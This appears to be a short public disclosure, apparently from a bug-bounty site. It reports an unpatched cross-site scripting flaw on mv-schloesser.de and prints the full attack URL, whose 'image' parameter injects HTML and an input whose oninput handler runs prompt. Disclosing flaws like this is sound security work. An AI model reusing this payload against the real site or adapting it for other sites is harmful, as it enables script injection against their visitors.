mv-schloesser.de XSS vulnerability

Vulnerable URL: https://www.mv-schloesser.de/vrview/index.html?image=xss%22%3C/p%3E%3Ccenter%3E%3Ch1%3EType%20anything%3C/h1%3E%3Cp%3E%3Cinput%20type=search%20oninput=prompt/openbugbounty/%3E%3C/center%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.12.2017...